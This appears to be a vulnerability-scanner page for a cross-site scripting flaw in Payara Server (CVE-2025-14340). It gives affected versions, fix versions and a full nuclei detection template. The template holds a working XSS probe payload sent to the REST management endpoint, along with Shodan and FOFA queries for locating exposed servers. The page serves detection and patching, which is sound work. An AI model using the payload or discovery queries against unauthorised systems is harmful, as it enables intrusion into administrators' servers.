Payara Server - Cross-Site Scripting

highseverity

9CVSS score

1%likelihood of exploitation, next 30 days

64%of all CVEs are less likely

Readycheck to confirm it

Payara Server versions <4.1.2.191.54, <5.83.0, <6.34.0, and <7.2026.1 contain a stored XSS vulnerability caused by improper input sanitization in the REST Management Interface. This allows attackers to mislead administrators into changing the admin password via a URL payload; however, the exploit requires administrator interaction.

Impact

Attackers can trick administrators into changing the admin password, potentially leading to full administrative control.

Fix

Update to version 4.1.2.191.54, 5.83.0, 6.34.0, 7.2026.1 or later.

How to confirm it

Send: GET /common/index.jsf
Positive when: contains_all(body, "Payara Foundation", "Payara") and contains(header, "badassfish") and status_code == 200
Send: GET /management/domain/version?%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "<script>alert(document.domain)</script>" and "badassfish" AND contains in content_type "text/html" AND status 500

Run it with nuclei: nuclei -id CVE-2025-14340 -u <target>

The full check

id: CVE-2025-14340

info:
  name: Payara Server - Cross-Site Scripting
  author: 0x_Akoko,0xr2r
  severity: high
  description: |
   Payara Server versions <4.1.2.191.54, <5.83.0, <6.34.0, and <7.2026.1 contain a stored XSS vulnerability caused by improper input sanitization in the REST Management Interface. This allows attackers to mislead administrators into changing the admin password via a URL payload; however, the exploit requires administrator interaction.
  impact: |
   Attackers can trick administrators into changing the admin password, potentially leading to full administrative control.
  remediation: |
   Update to version 4.1.2.191.54, 5.83.0, 6.34.0, 7.2026.1 or later.
  reference:
    - https://github.com/DeepSecurityResearch/CVE-2025-14340
    - https://www.payara.fish
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14340
  classification:
    cve-id: CVE-2025-14340
    epss-score: 0.0103
    epss-percentile: 0.64002
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cwe-id: CWE-79
  metadata:
    max-request: 2
    verified: true
    shodan-query: http.title:"Payara Server" port:4848
    fofa-query: title="Payara Server" && port="4848"
  tags: cve,cve2025,payara,xss,glassfish,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /common/index.jsf HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Payara Foundation", "Payara")'
          - 'contains(header, "badassfish")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /management/domain/version?%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ":" + password)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'badassfish'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from